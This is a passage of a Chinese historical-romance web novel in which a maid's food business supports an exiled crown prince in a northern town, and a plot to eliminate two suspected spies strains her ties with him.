见了锦婳,林嫂子把舟舟往前拉了拉道:“这是你锦婳姐姐,本是大得很,你要多跟人家学学才是!”
锦婳拉过舟舟的手,笑着对林嫂子说:“我不像舟舟是个有福气的,还有一大家子人要养,不干就得饿肚子,哪像嫂子说的那样。”
说完便领着林嫂子和舟舟去了小厨房的灶上。
林嫂子麻利,淘米,切肉这些活在她面前不在话下。
她高兴的是,自己终于也能出来挣工钱了,而且还不少!
家里那口子在山上的林子里砍树,累死累活的一天,也就挣十个铜板。
她在锦婳这帮着做做饭,也给十个铜板,而且锦婳这姑娘好相处,不苛刻,女儿舟舟也能跟着学学做生意。
林嫂子心里是极乐呵的,干起活来取更卖力了。
舟舟帮着生火,小姑娘话不多,人看着也老实,锦婳挺喜欢的。
锦婳自己熬肉汤,林嫂子这个人干活快又细,锦婳觉得这个帮厨很得力!
锦婳想着昨天早上吃的便是卤肉饭,今日再吃陆卿尘是怕是吃不下。
又去院子里的小仓库寻了一个茄子,单做了一个蒜茄子。
林嫂子见了问:“不是有卤肉饭,还做蒜茄子干什么?”
锦婳笑着回答道:“我家公子不太吃得惯肉菜,昨日里吃了卤肉饭,今日怕是不能再吃了。”
林嫂子问:“就是那位腿脚不方便的公子?”
锦婳点了点头:“是。”
林嫂子忙着手里的活,不再说什么。
心里却想着,锦婳这姑娘不易,还得养活炕上那两个娇滴滴的大男人!
那个腿脚利索的还好点,起码能扛扛东西,砍砍柴。
那个腿脚有毛病的,就整日的在炕上看书喝茶,日子过得悠闲得很,让一个小姑娘忙里忙外的这般的辛苦!
林嫂子也是个热心肠的人,锦婳又不比自己的女儿舟舟大上几岁,也是把锦婳当孩子一般的看待的。
越想着便越心疼起锦婳,不自觉地剜了炕上那两人一眼,手里切肉的刀落得更重了些。
早上申家兄弟也来这吃,卤肉饭也做好了,锦婳算计着,加上林嫂子和舟舟一共七碗。
吃饭的人越来越多,得再买个大些的桌子了。
申家兄弟来了,还带来了昨日下午锦婳让去镇子上买的猪下货和素菜。这俩人也是个勤快的,来了便先装车。今日的饭闷了足足五大桶,卤肉满满一大桶,卤肉汤两大桶。
车子装得满满的,锦婳心里盘算着着得给申家兄弟配个大些的好拉的车。
林嫂子和舟舟说什么也不肯上桌吃饭,要回家吃,说已经拿了锦婳的工钱,再吃饭实在不好意思。
锦婳便拉着林嫂子和舟舟三个女人在小厨房里吃,倒也随意。
锦婳把四碗卤肉饭端上小炕桌,陆卿尘那碗只有几块瘦瘦的卤肉,浇了一丁点汤,其余都是蒜茄子。
锦婳和林嫂子、舟舟在厨房吃,偶尔听见几个大男人在屋里嘻嘻哈哈的斗嘴,听声音便是谢威和申虎,这一路走来,大家早已经是一家人了。
吃过饭,申家兄弟拉车走了,锦婳照例叮嘱了一番,怕兄弟俩路上饿,还给带了两块镇子集市上买的绿豆糕。
回身又给舟舟手里塞了两块,林嫂子见锦婳周到,干活更卖力了。
锦婳去屋里捡碗,果然陆卿尘那碗里的卤肉剩下了,饭也没吃完,蒜茄子倒是吃得干干净净。
锦婳怕陆卿尘吃不饱,去厨房沏了茶,在小盘子里摆了几块绿豆糕,这北境小镇上没什么好的点心,等有了时间,自己给他做一些。
锦婳摆上桌,陆卿尘正在翻书看,也没抬眼,锦婳转身去了厨房。
谢威在院子的井里打水,一家人各忙各的。
有林嫂子帮忙处理下货,锦婳轻松了不少。
不一会儿卤货和素菜就都下了锅,锦婳一日不去集市上卖卤货赚钱,心里就不安生。
虽然有申家兄弟那边在山上卖卤肉饭,但卖卤货这个营生可不能丢。
卤货下了锅,锦婳便自己看着了,给林嫂子结了工钱,让她们娘俩明日再来。
林嫂子没想到这十个铜板赚得这么容易,不过是和家里的活一样,烧火做饭罢了。
锦婳这姑娘实在,还给了满满两大碗冒尖的卤肉饭,两人吃得饱饱的,中午都不用吃了。
林嫂子有些不好意思接过,锦婳笑着拉过她的手,塞进她手里道:“说好的一天十个铜板,申家兄弟也是一样的。”
林嫂子听见申家兄弟和自己一样,便就千恩万谢地接过铜板,说明日更早些来!
锦婳送了母女俩出门,卤货也快卤好了,抬头看,谢威已经开始套马车了。
谢威这人虽是宫里长大的,在太子府像个贵公子一般,哪个丫鬟、奴婢的不想进他的身,可看他那副拒人于千里之外的样子,又都不敢上前。
这段时日相处过来,觉得他并不似表面看着那般难亲近,谢威好似真把她当成了亲妹子。
第一卷 第47章 集市
今日有林嫂子母女帮忙,去集上早了些,锦婳几日没有上集,胖嫂子老远看见她来了,就垫脚摆手招呼她!
锦婳看见胖嫂子也笑得灿烂,这离县的民风淳朴,百姓大多实在,锦婳也是实在人,虽然日子苦了点,但在这生活得也格外轻松、愉快。
想起之前在宫里时,每日都要加一万分的小心,生怕一个行差踏错,落个乱棍打死的下场。
想到这,锦婳就莫名心疼起陆卿尘和谢威来,旁人都觉得他们是高高在上的太子,威风凛凛的少年将军。
可又有谁知伴君如伴虎,谁知哪日惹到了君王不快,就是粉身碎骨的下场。
如今流放北境对他们来说倒也是最好的结果,总算保住了一条小命。
胖嫂子见锦婳来了,热络地挽着她说着贴己话。
“我还以为你是水土不服病了,亏得我给你占了几天位置,今日看到你人来了,好好的,我的一颗心也算放下了!”
胖嫂子说得真诚,不似宫里那套虚的伪的。
锦婳也想念胖嫂子,还有胖嫂子的包子。
正巧到中午了,锦婳把给胖嫂子夫妇带的卤肉饭端了出来。
锦婳笑嘻嘻地说道:“嫂子,尝尝我做的卤肉饭,这两天正在山上卖呢,卖得还不错,特意给你和大哥也带了两碗尝尝!”
胖嫂子乐得眉眼眯成一条缝,接下卤肉饭,递给胖大哥一碗,自己扒了几口:“妹子,你可真有能耐,这卤肉饭可是嫂子吃过的最好吃的卤肉饭了!”
“对了,你们大老远来集上,中午还没吃饭吧?嫂子给你拿几个包子!”
胖嫂子也是大方爽利的人,说完就从盖帘里捡出了几个热乎包子塞到锦婳手上。
锦婳道了谢,转身给身后那两个大家闺秀,陆卿尘和谢威分了包子,自己开始摆摊卖货。
陆卿尘和谢威也帮不上什么忙,只在锦婳身后的马车上坐着吃包子。
胖嫂子冷眼看着那两个大男人什么活也不会干,那个腿瘸的也就算了,那个腿脚利索的也是废物一个,全靠一个小丫头养着。
两个二十来岁的小伙子,啥也不会干,吃软饭还吃上了瘾,这世道可真是让人开了眼界!
胖嫂子扒了几口饭,摇头叹了口气。
陆卿尘和谢威被胖嫂子看得汗毛直立,但也没办法和一个妇人解释什么,只能低着头大口大口地往嘴里塞着肉包子。
这俩人的这幅模样,让胖嫂子看了更加鄙视了。
锦婳刚摆好摊子,就有人来买货,锦婳推荐了猪大肠、豆干和藕片。
最后那人尝了半天只买了半斤藕片,锦婳也照样热络地招待,最后收了两文钱。谢威在心里感叹,锦婳这丫头想钱想疯了,苍蝇腿上的肉都不放过。
陆卿尘则站在锦婳身后,整个人显得呆呆的,只会收钱。
锦婳惦记着山上的申家兄弟卤肉饭不知卖得怎么样。
已经下午了,申家兄弟想来已经收摊儿回家了。
今日的卤货做得不多,连卖再送也卖得七七八八了。
锦婳和胖嫂子打了招呼,收了摊子。
穿过集市时,锦婳收下货时还特意买了些酸菜和大骨头,北境的百姓冬日里没有新鲜蔬菜,都是秋天就早早腌制好酸菜,放在地窖里发酵,等着冬日里拿出来食用。
酸菜炖大骨棒,酸菜炖血肠,酸菜炒粉条,这都是锦婳和隔壁刘嫂子学来的新菜。
入乡随俗,今天的天也是实在冷,炖上一锅酸菜大骨棒,一家人围着吃热乎乎的炖菜,简直是太美了。
今日申家兄弟回来得比锦婳三人早了些,正坐在院子里帮锦婳刷洗装卤肉的木桶。
锦婳一进院子,看见几个空桶,便知道申家兄弟今日的卤肉饭又是卖空了。
山上的生意远比她们三个卖卤货来钱快,赚的还容易些。
看见申家兄弟把木桶刷了,院子里的活也收拾得干干净净,锦婳心里一阵暖暖的,平日自己没白对他们哥儿几个好,如今都知道疼她,帮她干活了。
申家兄弟把一袋子铜板扔到锦婳面前,高兴地道:“妹子,这卤肉饭真是有多少卖多少,供不应求啊!”
锦婳接过一袋子沉甸甸的铜板,足有昨日的二倍。
锦婳眉眼弯弯笑着对申家兄弟说:“这钱我先收着,除了买米买肉的本钱,剩下的都给你们攒着盖房子、娶媳妇!”
这个你们,当然也包括陆卿尘和谢威了。
陆卿尘不以为然,随便这个小丫头怎么说吧,他还用她帮忙做打算。
谢威却冲着锦婳翻了一个大大的白眼,明明他是她哥,如今说得却像她儿子似的。
申家兄弟却很吃锦婳这套,有人给盖房子、娶媳妇,还有这等好事,以后给锦婳这小丫头干活就更卖力了!
谢威对锦婳收买人心这套说辞,佩服得五体投地。
锦婳却不是随便说说便罢了,她可是认真的。
这些跟着她干的人,她是一心想让他们都过上好日子的。
今日山上的生意足足比昨日多赚了一倍还多,锦婳把钱都交给陆卿尘道:“以后你来管钱吧,我不会写字,也不会记账。”
陆卿尘接过钱袋子,并没说什么。
心里却想着,这丫头使唤人还上瘾了,竟然敢让自己给她当账房先生,但那又有什么办法呢?谁让现在所有人都得靠人家养着,吃人嘴短,就得听人家吩咐。
锦婳今日赚了钱,心里高兴,打算给大伙好好做顿好的。
锦婳拿着食材进了厨房,大骨头洗净,下锅煮掉血沫,骨棒煮得半熟下切成丝的酸菜,炖上半个时辰。
临出锅时撒上一把盐,放几粒花椒、八角、桂皮,血肠切片码放在炖菜上。
林嫂子说,这道菜是北方冬日里桌上的常菜,可陆卿尘未必爱吃这股味道,锦婳琢磨着给陆卿尘用干辣椒炒几片大白菜。
锦婳去院子里从晒的大白菜上掰了几个叶,拿回厨房洗净切片。
葱姜蒜沫爆香,然后干辣椒下锅,炒出香味儿,白菜片下锅爆炒,撒上一把盐,淋些香醋,翻炒两下就出锅了。
第一卷 第48章 悍婢
锦婳把饭菜端上桌,酸菜大骨汤、醋溜白菜片,还有今日谢威在集市上扛回来的糙米煮的香喷喷的饭。
今日申家兄弟辛苦,锦婳特意给两人各夹了一块大骨棒,里面还带着满满的骨髓,别提多香了。
陆卿尘今日心情好,竟也破天荒地吃了几口酸菜。
锦集看向陆卿尘,虽然他不像旁人那样喜怒形于色,但也能明显地看出今日心情要比平日里好许多。
难不成是因为她让他管账,手里有钱了?
陆卿尘今日心里的确是高兴,在集市上他拄着拐帮锦婳忙活时,试着脱离拐杖,靠自己的腿用力站立时,竟发现一点也不觉得疼了,走路也与旁人无异。
他这是……好了?!
但是这拐杖还不能丢,瘸子还得继续装下去,宫里想要他命的人多的是,身边明的眼线是张洛和王里,暗的还不知道有多少个!
晚上,送走了申家兄弟,锦婳刚要锁上门,就见两个黑衣人从墙上翻入,鬼鬼祟祟探进了院子!
锦集刚要大声叫谢威,就被人捂住了口鼻,连拖带拽进了屋里。
锦婳以为自己一条小命就要交代在今天了,自己的生意才刚有些起色,还想着带着大家致富,没想到被贼人给惦记上了!
锦婳被拖进屋,陆卿尘和谢威先是一惊!
锦婳腿拼命地蹬踹,嘴里啊啊呜呜地让他们二人快跑!
没想到陆卿尘却喝了口茶,淡然的说:“你们二人到了。”
谢威忙上前拉过锦婳,对那两名黑衣人道:“二位师兄快松开手!这是主子的人。”
禁锢锦婳的黑衣人蹙了眉:“流放出城时还是伺候的丫鬟,这么快就成主子的人了?”
这丫头看着也并没有什么特别之处,模样倒是清秀可爱,但主子之前的太子妃和侧妃他们都是见过的,皆是妩媚佳人,难道主子口味变了?
禁锢锦婳的人一松手,锦婳就一下扑入谢威怀里,这丫头有些微微发抖,看样子是吓坏了,谢威还以为她天不怕地不怕呢!
那两名黑衣人放开锦婳后,恭敬地站在陆卿尘面前道:“殿下,属下们已将暗卫营都带来了北境,还有殿下的私库,如今也藏匿在妥善之处。”
陆卿尘幽幽道:“二位师兄一路辛苦,如今有一要事,需要二位师兄尽快出手。”
锦婳只见黑衣人恭敬地对陆卿尘拱手:“殿下吩咐便是!”
锦婳腿脚有些软,又被眼前的一些看得有些发懵,靠在谢威怀里一时不肯出来。
她转头好奇地看着陆卿尘,他不是被皇帝废了吗?怎么感觉还是很有权势的样子,好像只是换了一个地方做太子似的。
锦婳看见陆卿尘此刻的眼神里,是她从未见过的凶光。
语气也没有半分的情绪,冰冷得似乎要将人吞噬:“北境百姓受蛮夷侵扰多年,近日蛮夷欺人更甚。二位师兄辛苦一趟,给蛮夷一些教训,也可趁机将张洛王里除去,顺势嫁祸在蛮夷身上。”
张洛王里!
流放路上对她格外宽容和照顾的那两个官差?
陆卿尘说除去是什么意思?杀掉……吗!
锦婳不敢置信地抬头瞪大眼睛看向谢威,谢威目光耐人寻味地看着锦婳道:“妹子,别闹,那两个官差是宫里安插在殿下身边的奸细,不得不除,殿下的安危更重要。”
锦婳又看向陆卿尘,一字一顿地问:“可有证据?”
陆卿尘并未与她对视,沉声道:“无。”
锦婳声音颤抖了:“没有证据,就要杀了两个活生生的人?”
那两名黑衣人听见锦婳这般质问陆卿尘,哪里肯干:“大胆奴婢!怎可与殿下这般讲话,眼里还有没有尊卑!”
锦婳也是怒气上了头,冲着两个黑衣人大喊道:“这里哪里有什么殿下!你们这么恭敬你们的殿下,以后洗衣做饭就由你们来做好了!我这个奴婢就不留在这碍眼了!”
锦婳吼完也是委屈的眼泪直流,头也不回地冲出门去。
谢威想去追,可一想到锦婳那个性子,平时好的时候怎样都好,真是打心眼里拿你当一家人看待,可上来那个倔劲,是十头牛也拉不回来的。
让她出去冷静冷静也好,主子就是主子,说话做事不容置疑。刚才她敢那么和主子说话,也实属是主子和自己把她给惯坏了。
两个黑衣人被锦婳吼得一时没反应过来,惊讶地相互对视,殿下怎么看上了这么一个悍婢?
谢威打着圆场:“两位师兄莫怪,这一路上殿下和我能走到今日,并未受饥寒交迫的苦,也是多亏了锦婳了。”
“那丫头心眼儿不坏,人也实在,待人真心实意,就是性子有些倔,以后相处久了,师兄们便知道了!”
陆卿尘对谢威沉声说:“这么晚了,天都黑了,还不快追!”
谢威见陆卿尘真的着急了,应了声:“是!属下这就去找!”转身就跑出了小屋。
陆卿尘的举动把屋里的青龙、白首弄得一愣。
殿下何曾为一个女人着急过,而且还是个小丫头,看着刚长开的样子,难不成殿下身边真缺女人了,这么一个小丫头也当个宝了。
锦婳跑出去后,在街上游荡了许久,才发现,自己竟然和多年前一样,是个无家可归的。
初冬的离县,街上冷得能冻死人,北方夹杂着清雪花,锦婳裹了裹衣服,不知道自己能去哪。
林嫂子家只有一间房,一家三口挤在一间屋子里,她去了难道要跟人家一家人挤在一张炕上?
申家兄弟如今住的是大通铺,她一个女孩子去了怎么住?
郭大爷家十来口人,更是不方便了。
锦婳突然又涌起当年娘亲死时,那股无家可归的感觉了。
辛苦这么多年,她还是一点长进也没有,还是没能给自己一个家!
那两个成天说把她当亲妹子,当一家人的人,又怎么了!她跑出来也没见谁来寻寻她,人家自己人在屋里聊得热络,总之就她一个外人!
第一卷 第49章 别扭
锦婳想着那些让人寒心的事儿,没注意脚下路滑,竟摔了一跤。
锦婳心中更是委屈,坐在地上抹着眼泪,竟不起来了。
远处一个人影,在风雪里跌跌撞撞地朝她走来,难不成是陆卿尘让谢威来寻她了?
锦婳赶紧抹了抹眼泪。
等那人走进,锦婳定睛一看,哪里是谢威,分明是张澈。
张澈蹲下查看锦婳,关心地问:“锦婳姑娘,这么晚了,你坐在这做什么,是摔疼了起不来了吧?来!我扶你一把!”
说完张澈一把把锦婳从地上捞了起来。
见锦婳眼睛还挂着泪珠,这么晚天下着清雪,又坐在外面不肯回家,该不是摔了一跤那么简单,心里也明白了个大概。
便笑着问:“可是同家里两位兄长吵架了?”
见锦婳低头不语,张澈又道:“太晚了,天又黑,还下着雪,我先送你回去,替你与他们说道说道可好?”
锦婳想着家里还有两个黑衣人,生面孔,若是被张澈看见恐怕惹出事端,摇着头不愿回去。
张澈没有办法,只好又问:“我家里还有个妹子,年龄与你差不多大,你若是愿意,我便带你回去与她挤一晚,你看可还行?”
锦婳也是实在没有地方可去,只能厚着脸皮问:“会不会太打扰?”
张澈笑得爽朗:“自然是不会!我母亲最喜欢女孩子,你若是肯来家里陪母亲聊聊天,她是最开心的!”
“我妹子也是好的没话说,正愁着离县里没有玩伴儿,你平日里生意忙,今日也是机缘巧合,介绍你们认识一下!”
锦婳擦干眼泪点了点头,跟在张澈身后走,一起回了衙门。
锦婳刚流放来离县那日没仔细看,只觉得衙门略微简朴,今日进了衙门后院仔细瞧了瞧,更是朴素得很,和寻常人家没有什么大区别。
只不过是院子大了些,屋子多了些,可看摆设装潢,与普通百姓家并无差异,看样子张县令是个清官。
想起那日张澈来家里买卤货,张大人嘱咐他务必给钱,更是心生好感。
院子里只有前院亮着灯,仔细听还有女子说话嬉笑的声音。
张澈和锦婳寻着灯光进了屋,屋里暖和得很,两个女子正在围着炉火吃着点心。
锦婳跟在张澈身后,悄悄打量了一眼,年纪略大一些的想来就是张夫人了。
张夫人的容貌虽然不是多艳丽,却从心往外生出一股恬淡悠然的美。
那气质和举手投足不比宫里的贵人差,想来能嫁给张大人,也是小姐的出身。
旁边的小姑娘倒是一副古灵精怪的爱笑模样,看见张澈身后跟着个小姑娘,竟连手中的点心都放下不吃了,开始上下打量她。
张澈进了屋,给母亲请了安,就连忙把锦婳往炉火旁推,自己也坐在炉火旁搓手。
别看张澈平日里在外是一副县令家小公子,认真管事的模样,在母亲面前,还是活脱脱的一个孩子。
张澈打趣地与母亲说:“外面今日真是能冻死人,我却误打误撞,又给您捡回来了一个妹妹!”
张夫人笑着打量着锦婳道:“我要是真有这么一个好看乖巧的女儿,谁还会要你身后那个泼猴!”
张澈的小妹上前搂住母亲的手臂撒娇道:“母亲!”
锦婳见张夫人便觉得亲切,又想起自己的母亲和弟弟来,心里不觉一阵酸涩。
若是母亲还在,即便家里再穷,只要自己肯干,也不至于饿死,一家人过到现在,也是和和美美。
看着张澈的小妹和母亲撒娇,锦婳心里羡慕得很。
张夫人拉过锦婳的手,心疼地说道:“好孩子,怎么穿得这么单薄,手又这么凉,大晚上的怎么不在家里暖和着,跑出来是什么?”
张澈忙插嘴:“母亲,她就是锦婳,之前买回来的卤货好多都是锦婳姑娘送我的,今日她是和家里的兄长吵架了,我便把她捡了回来,给家里添个妹妹!”
张澈的小妹高兴地忙起身道:“那是最好了!平日里只有我和母亲在家,无聊得很,若是有个姐姐能陪着我玩,想想就幸福!”
张夫人听了这兄妹俩的话却皱眉道:“你们这两个泼猴说的是什么话!锦婳姑娘和兄长吵架独自跑了出来,她家里的兄长该多着急呀!此刻一定是在到处找她呢!”
“这冰天雪地的,她兄长腿脚又不好,初到离县人生地不熟,若是出了事可怎么好!澈儿,你赶紧去锦婳姑娘家里告诉一声,别让家里兄长着急!”
张澈听了立刻起身:“我这就去,母亲莫急。”
锦婳见张澈起身要去跑一趟,急忙拉住张澈的衣袖道:“张夫人,天冷路滑,就别劳烦张公子跑这一趟了,我原和家里兄长也是生些小气,出来散散心已经好了,我就不打扰了,这就回去了。”
见锦婳起身要走,张家小妹却不干了,挽着锦婳的手臂道:“姐姐刚来怎么就要走,不如等明日雪停,让哥哥送你回去。”
“今日这么晚了,就和我挤一挤,我和姐姐说些贴心话可好?”
张夫人笑着拉过女儿道:“你锦婳姐姐家里还有两位兄长,此刻妹子丢了,还不得急得火上房了?你们兄妹倒是好,一个把人领回来,一个不让人家走,若是人家兄长知道了,还不得打到咱家里来要人,倒时看你们兄妹如何收场!”
其实锦婳气并没消,只不过想到家里平白出了两个黑衣人,若是被张澈见到,该如何解释?
平白无故的张洛和王里就要被除掉,若是张澈因为替她给家里报信,看见黑衣人被灭了口,那她以后可怎么活在这世上!
锦婳起身要告辞,张夫人却叫住锦婳:“锦婳姑娘等等!”
锦婳回头看见张夫人打开炉子,包了几个刚烤熟的地瓜递给她道:“拿着回家和兄长一起吃,一家人没什么说不开的,若是以后在家受了委屈,只管来找我说!”
“可就是不能再自己胡乱跑出来,今日多亏遇见的是澈儿,若是撞上了蛮夷可如何是好,你家里的兄长还如何活下去!”
锦婳接过热乎乎的烤地瓜,今日张夫人说的这番话就如同母亲对女儿一般,让她心里暖暖和和的。
锦婳道了谢,答应了张夫人和张小妹改日一定来家拜访,便由张澈送着出了门。
第一卷 第50章 耐心
谢威在外寻了一圈,也没寻到锦婳。
去隔壁林嫂子家问了问,还被林嫂子损了一顿!
“什么?锦婳跑出去了?!”林嫂子听了急得饭碗都咣当一声放下了。
林嫂子平日里也是个泼辣的,她下炕急得鞋都没来得及穿,几步窜到了谢威面前:“准是你们哥俩欺负她了!那么好的姑娘,平日里养着你们,供着你们,你们两个寄生虫倒好!合起伙来欺负她!”
“你们不就是欺负她没有亲人吗!我告诉你,我林嫂子以后就是她的亲人,谁欺负她我就跟他拼了这条命!”
林嫂子越说越激动,眼看就要上手揍谢威了,幸好被她男人一把拦腰抱住,那汉子看着老实、实在,是个冷静讲理的。
“你快别添乱了,眼下最急的是把那姑娘赶快找回来,这天寒地冻的,没出阁的姑娘家别再冻出个什么毛病,以后不好生养了!”
那汉子说的话糙理不糙,
林嫂子听了却更气了:“我呸!你们男人没一个好东西,怎么不盼我妹子一点好!为你们生养孩子能得什么好?命都没了半条,我看不能生养倒是好的!”
那汉子听了只低头叹了口气,女人在气头上,男人说什么都是错!
林嫂子虽嘴上这么说,可身体却马上行动起来,穿上棉鞋,披着大袄就要出门。
那汉子急得在身后喊:“你干什么去!”
林嫂子头都不回:“找我妹子去,你们男人没一个靠得住的!”
谢威被林嫂子先是吼了一顿,后来有险些被打,如今林嫂子冲出门,他也只敢在身后远远跟着。
北境的女人是真泼辣啊!
北境与京城的民风真的不同,京城不管是当官的还是平头百姓,家里大多都是男人做主。
可到了北境,谢威发现,不管是隔壁林嫂子家,还是卖包子的胖嫂子家,全是女人说的算,女人当家做主。
刚走出林嫂子家门不远,远远的就看见锦婳和张澈往这边走。
谢威悬着的一颗心总算放下了,这丫头没事就好。
可转念又气得要死,他和主子急成热锅上的蚂蚁了,这丫头竟然和那小子在一起有说有笑!
他还是头一次看见主子因为一个女人着急,只是主子如今还没认清自己的心意罢了。
谢威一直以为锦婳还未开窍,如今看来,难不成她是对那张家小子动了心思?
张家那小子究竟哪里比得上主子?!
林嫂子也看见锦婳和张澈远远走过来,也顾不得路滑,踉踉跄跄地跑过去。
林嫂子也是急了,一把拉住锦婳,语气都带着哭腔:“你这妮子跑哪去了!这北境冬日里的晚上是要冻死人的!若是碰上蛮夷把你抢了去,你还让不让家里的兄长活了!”
锦婳自打入宫,也没人这般地关心过她,为她着急,心里涌上的那股情绪化作眼泪一直在眼眶里打转,却又倔强地不肯落下来。
张澈打着圆场,笑着说:“嫂子莫急,锦婳妹子这不是遇上我了!本来就要送她回来的,可是她和我母亲投缘,去家暖和了一会,聊会天就忘记了时间罢了,原是我的不是了!”
张澈又看谢威冷着脸站在林嫂子身后,便对锦婳说:“你家哥哥来接你了,我这个哥哥就回去了,回去有话好好说,一家人没什么大不了的!”
锦婳笑着谢过张澈,又谢过林嫂子,便绕过谢威倔倔地往屋里走。
进了屋,锦婳余光瞥了一眼,两个黑衣人已经走了,屋里还是他们三人,还和以前一样,刚才的一切就像从没发生过。
他还是那个听她吩咐,给她管钱的废太子,没有什么黑衣人,也没有什么暗卫营。
陆卿尘正坐在炕上看着书,表情还是之前的那样,看样子并没因为她离家出走有半分的着急。
锦婳心里一股气,脱了鞋袜,穿着衣服就上了炕。
她也不给陆卿尘和谢威铺床了,只铺了自己的,被子蒙在头上,倒头就睡。
陆卿尘表面上看着书,眼睛瞥了眼床上蒙头的锦婳,面色难看得吓人。
谢威看着闹别扭的两人,劝也不是,不劝也不是,只能默默地坐在陆卿尘身边陪着。
今日锦婳心情不好,因着赶上那档子事儿,饭后也没有给陆卿尘泡茶,陆卿尘只能干翻着书。
翻了一会儿也觉得无趣,让谢威铺了床,也躺下睡了。
这一夜,三人心中各有各的气,都没睡好。
一早锦婳起床做饭,心情不好饭也没心思做,随便煮了些面条,炸了些肉酱,盛了三碗,也不叫人吃饭,冷着脸坐在炕上自己吃。
陆卿尘和谢威凑过来吃,陆卿尘也是不言语闷头吃,谢威忍不住了,对锦婳说:“锦婳,你可知道昨日你把主子和我急成什么样?近日离县不太平,夜里经常有蛮夷潜入进了,烧杀抢掠,昨日若是再寻不到你,主子就要调动暗卫营了!”
锦婳闷头吃,她才不信,陆卿尘会为了她这么个小烧火丫头调动暗卫营,也就是谢威哄她说说罢了。
见锦婳像没听见似的,陆卿尘放下筷子叹了口气,低着声耐心说:“昨日那两人是吾的师兄,是助吾解决北境的蛮夷而来,张洛和王里那两人是宫里人的探子,若是不除,吾的一举一动皆在有心人的监视之中。”
“吾倒是光明坦荡,不怕人监视,可跟着吾的人若是暴露了,会有性命之忧,暗卫营也无法出动解决蛮夷,受苦的是北境百姓。”
谢威心里被陆卿尘的这番话震惊了,殿下自打年少就沉默寡言,今日竟与锦婳这小丫头耐心地细细去讲其中的厉害关系,可见这小丫头在主子心里位置之深。
锦婳也不再埋头吃饭,昨日张夫人说的话她都听进去了,一家人没有隔夜仇,有话说开了便好了。
陆卿尘肯将这些要事细细讲与她听,她心中并非不被触动的。
锦婳抬头问:“你怎可确定,张洛和王里必是奸细?如若不是,岂不是误杀无辜?”
“你们是兵权在手,高高在上的人物,想要杀谁的头,就杀谁的头,可你杀的每一条人命,也许都是一个家庭的顶梁柱,若是真如他们所言,家里还有孤儿寡母,你要了他们的命,家里的人会活不下去的!”
锦婳体会过失去至亲之痛,想到那两人家里还有嗷嗷待哺的孩童,便更觉心痛。
第一卷 第51章 感动
谢威却忍不住了,锦婳这小丫头可真是执拗得很,他追随殿下这么多年,他可还从未见过殿下对谁这般的好言好语,解释其中利害,可这丫头还是听不进去。
“锦婳,殿下说的可都是真的,这是二位师兄拦下的张洛、王里的飞鸽传书。”
谢威在锦婳面前摆上两封信,一张红色墨汁写的,一张黑色墨汁写的。
锦婳摇摇头:“我不认字。”
谢威道:“你再不识字,也该明白,为何他二人飞鸽传书会传两封信,红色字这封是殿下每日做什么、吃什么、说了什么、看什么书,殿下的一举一动都记录在上。”
“黑色的这封是他们写好了,经我过目的那封。”
“这下你可明白了?”
锦婳心中一惊,一路跌跌撞撞,也曾照顾过她,朝夕相处的那两人,竟会是奸细!
陆卿尘又耐心软语劝道:“你只知他们二人死了,家眷活得艰难。却不知这北境百姓正活在水深火热之中,如若真有一天,蛮夷来犯,家里男人都上了战场,那家里的老幼妇孺又该如何过活?”
“吾此次自请流放北境,其中之一就是杀蛮夷,保一方百姓安宁,岂能让那两条烂鱼坏了吾的计划,毁了北境百姓的安宁日子,你可明白了?”
锦婳点头,心想陆卿尘不愧做了那么多年的太子,他实在是心系天下百姓,做帝王的好材料,如今流放到北境这么个地方,真是可惜了。
院子里有声音,锦婳探头,是林嫂子领着女儿舟舟来干活了,锦婳放下碗筷,和林嫂子母女一起去小厨房忙活了。
谢威看着陆卿尘道:“殿下就是太惯着锦婳了那丫头了,如今惯得哪有一点做奴婢的样,竟敢和主子耍上脾气了。”
陆卿尘苦笑一声道:“自来她就未曾拿吾当过主子,如今也只不过把吾当做个管账的。”
谢威试探地问了一句:“主子如何看锦婳?”
陆卿尘片刻沉默后道:“那丫头至真至诚,是个可深交的,这一路多靠她,你我二人少吃了许多苦,食不果腹、衣不蔽体,未曾听她抱怨一句,是个坚韧的,可用。”
谢威想问的哪里是这个,可陆卿尘如此答,他又不好再问,只能道:“是。”
锦婳领着林嫂子和舟舟进了厨房,趁舟舟还没有把火升起来的间隙,林嫂子拉着锦婳问:“你这妮子昨日到底是因着什么事和兄长们生了那么大的气?就算再大的事你这么一跑,原本有理如今都变得没理了。”
“这夜里街上若是遇到蛮夷,你一个女孩子家,清白还要不要了?幸好你遇见的是张家公子,不然即便不撞见蛮夷,也好冻死的!”
“昨日不管你因着什么?你那寻你的兄长我已经替你臭骂了一顿,如今你也出了气,都是自家人,也就算了吧!”
锦婳自打娘亲去了,就再没人与她这般说过贴心话,这么为她的安危,还替她骂了谢威出气。
锦婳心里一阵感动,眼圈竟还红了,林嫂子见锦婳要哭,只当她是因着昨日的事委屈,拉着她要去找屋里炕上那两个算帐!
锦婳忙拉住林嫂子解释:“嫂子,我已经不气了,原也不是什么大不了的事,只不过争执时吵了几句嘴,昨日回来两位兄长也把话说清楚了,我早就不气了!”
林嫂子笑着摸摸锦婳的头发道:“你比我家舟舟也大不了几岁,却是个苦命的,若是以后在家受了欺负,只管来找我说,我定为你出气!”
然后林嫂子又叹了口气道:“不过,话说回来,你那两位兄长也是个好样的。虽卖货做吃食不如你,又整日在家不作为,但不赌不馋,不嫖不娼,也是老实的。”
“昨日你跑出去后,我家那口子看见你那腿脚不方便的兄长冒着雪站在门口看了很久,昨日夜里那么冷,也不知会不会冻坏了。”
“大概是知道自己腿脚不方便,不能去寻你,又着急吧,我当时听了也觉得怪可怜的。”
锦婳心里一震,陆卿尘会为了等她,站在风雪里一夜?
锦婳狐疑:“许是姐夫看错了吧?”
林嫂子道:“别人也许会看错,你那位兄长绝对不会看错。先说离县拄拐的就他一个,再者他容貌那样清俊,活脱脱像戏文里的王孙公子蹦出来了,整个离县哪里还有他长得那般好看的人?”
锦婳心里更疑惑了,陆卿尘好看吗?他做太子的时候她没见过,但听宫里的婢女们说,太子殿下是世间难得一见的美男子,当时世家大族的小姐们为了嫁他简直打破了头,最后还是皇帝敲定的佟大人家的嫡女。
等她见到他时,他已经是这副落魄模样了,被父皇和妻子双双抛弃,流放这一路落魄的险些丧命。
她只觉得他还怪可怜的,竟没仔细观察过他,真是如林嫂子说的那般好看吗?
她还是觉得赚钱来得更实际些,把身边能利用的人都利用起来,陆卿尘管钱管得还是很不错的。
今日听说蛮夷来离县闹事,抢了村民的粮食和鸡鸭鹅。
山上的活也停工了,大家都在自家抵御蛮夷。
